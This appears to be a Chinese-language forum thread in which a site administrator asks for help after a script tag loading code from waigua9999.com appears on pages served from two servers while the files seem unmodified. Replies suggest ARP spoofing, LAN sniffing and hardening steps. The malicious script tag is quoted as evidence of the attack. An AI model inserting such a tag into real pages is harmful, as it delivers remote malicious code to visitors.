在线等：访问我的网站发现有注入代码，但服务器上文件未被修改。服务器上浏览其它网站全带该注入代码

[xuchunqiang]

高手帮忙呀。我们网站共有三台服务器，其中两台上的网站这两访问的时候发现页面最上方出现：<script src=http://waigua9999.com/1.js></script>
但在服务器上查了，所有文件都正常，没有被注入。
在有问题的服务器上浏览百度、新浪等等全都带<script src=http://waigua9999.com/1.js></script>

怀疑是RAP欺骗，但打了RAP防欺骗.exe还是不行

[xuchunqiang]

55555……
自己顶

[wj_yhl]

是arp吧，不知道你是否安装的是Anti ARP Sniffer ，这个软件很好用的，建议你使用，还可以和追查出欺骗者

[lukejiang]

lz的思路不错

找网页文件应该好找点吧 直接看修改日期

[xuchunqiang]

谢谢黑白无常，可以试试。问题自己鼓捣好了，虽然应该还没有完全除根。详细的见我刚写的博客：http://blog.sooxue.com/user1/2492/archives/2007/14630.htm

[xuchunqiang]

50分散了，前五个每人10分:-)

[jxf654]

up

[xuchunqiang]

to jianglixi:
网页文件都没有被修改。
另外我找到waigua9999.com那人，他说我分析的“极度错误”。过几天再来挂。大家帮忙分析一下呀
http://blog.sooxue.com/user1/2492/archives/2007/14630.htm

[kourr2004]

晕，肯定是给人家挂马了，我猜他用的工具是局域网嗅探工具，这个是很危险的一个工具，可能是你给他嗅探到了ftp用户名和密码，这样他就很容易进入你的系统了，而且他可能不是在你这台机器上放的嗅探工具而是在你局域网别的机器上放的！！网页文件肯定修改过，可能他用命令把时间改回去了，楼主还有看看数据库用户名，是不是用的sa用户名，建议更换，防止人家提权，关闭3389等危险端口